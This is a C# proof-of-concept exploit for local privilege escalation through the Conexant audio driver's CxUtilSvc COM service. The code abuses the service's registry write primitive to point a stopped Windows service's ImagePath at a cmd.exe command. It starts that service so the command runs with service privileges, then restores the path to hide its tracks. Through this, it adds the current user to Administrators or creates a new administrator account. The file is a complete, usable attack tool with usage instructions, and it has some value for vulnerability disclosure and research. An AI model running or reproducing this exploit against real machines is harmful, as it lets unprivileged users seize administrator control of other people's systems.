﻿using System;
using System.ServiceProcess;
using System.Security.Principal;
using System.Linq;
using CxUtilSvcLib;

namespace CxUtilSvcExploit
{
    class Program
    {
        static RegistryHelper registryHelper = new RegistryHelper();

        static string ReadHKLMString(string key, string name)
        {
            // Put read primitive here.
            registryHelper.ReadRegistryString(
                hive:      RegistryHiveType_tag.eHKEY_LOCAL_MACHINE,
                key:       key,
                valueName: name,
                value:     out string output);
            
            return output;
        }

        static void WriteHKLMString(string key, string name, string value)
        {
            // Put write primitive here.
            registryHelper.WriteRegistryString(
                hive:      RegistryHiveType_tag.eHKEY_LOCAL_MACHINE,
                key:       key,
                valueName: name,
                value:     value);
        }

        static void ModifyServicePath(string name, string path)
        {
            WriteHKLMString(
                key:   $@"SYSTEM\CurrentControlSet\Services\{name}",
                name:  "ImagePath",
                value: path);
        }

        static void ExecuteCommandAsService(string service, string command)
        {
            ServiceController sc = new ServiceController(service);
            string originalPath = ReadHKLMString($@"SYSTEM\CurrentControlSet\Services\{service}", "ImagePath");
            
            if (sc.Status == ServiceControllerStatus.Stopped)
            {
                // Modify the service path with the new command.
                ModifyServicePath(service, $@"""C:\Windows\System32\cmd.exe"" /c ""{command}""");

                // Start the service which will invoke the command.
                try
                {
                    sc.Start();
                    sc.WaitForStatus(ServiceControllerStatus.Running, TimeSpan.FromSeconds(10.0));
                }
                catch (InvalidOperationException)
                {
                    // Do nothing.
                }

                // Hide tracks, replace command line with original path.
                ModifyServicePath(service, originalPath);
            }
            else
            {
                Console.WriteLine($"[Error] The {service} service must be stopped before starting.");
            }
        }

        static void CreateNewAdmin(string service, string username, string password)
        {
            string command = $"net user {username} {password} /add && net localgroup Administrators {username} /add";
            ExecuteCommandAsService(service, command);
            Console.WriteLine($"[Success] Created new administrator \"{username}\" with password \"{password}\".");
        }

        static void ElevateCurrentUser(string service)
        {
            string username = WindowsIdentity.GetCurrent().Name;
            string command = $"net localgroup Administrators {username} /add";
            ExecuteCommandAsService(service, command);
            Console.WriteLine($"[Success] {username} is now in the Administrators group.");
        }

        static void PrintHelp()
        {
            Console.WriteLine("Usage:   CxUtilSvcExploit.exe [<service_name> [<new_user> <new_pass>]]\n");
            Console.WriteLine("Example: CxUtilSvcExploit.exe");
            Console.WriteLine("Result:  Add current user to Administrators group using the \"ose\" service.\n");
            Console.WriteLine("Example: CxUtilSvcExploit.exe WaaSMedicSvc");
            Console.WriteLine("Result:  Add current user to Administrators group using the specified service.\n");
            Console.WriteLine("Example: CxUtilSvcExploit.exe ose MaliciousAdmin Passw0rd!");
            Console.WriteLine("Result:  Create a new Administrator user using the specified service.");
        }

        static void Main(string[] args)
        {
            Console.WriteLine("Conexant Audio Driver CxUtilSvc COM LPE POC (@Jackson_T)");
            Console.WriteLine("Tested on Windows 10 v1809 with CxUtilSvc.exe v2.12.0.0.\n");

            if (args.Length == 0)
            {
                ElevateCurrentUser("ose");
            }
            else if (args.Length == 1)
            {
                string[] helpOptions = { "/?", "-?", "-h", "--help" };

                if (helpOptions.Contains(args[0]))
                    PrintHelp();
                else
                    ElevateCurrentUser(service: args[0]);
            }
            else if (args.Length == 3)
            {
                CreateNewAdmin(
                    service:  args[0],
                    username: args[1],
                    password: args[2]);
            }
            else
            {
                PrintHelp();
            }
        }
    }
}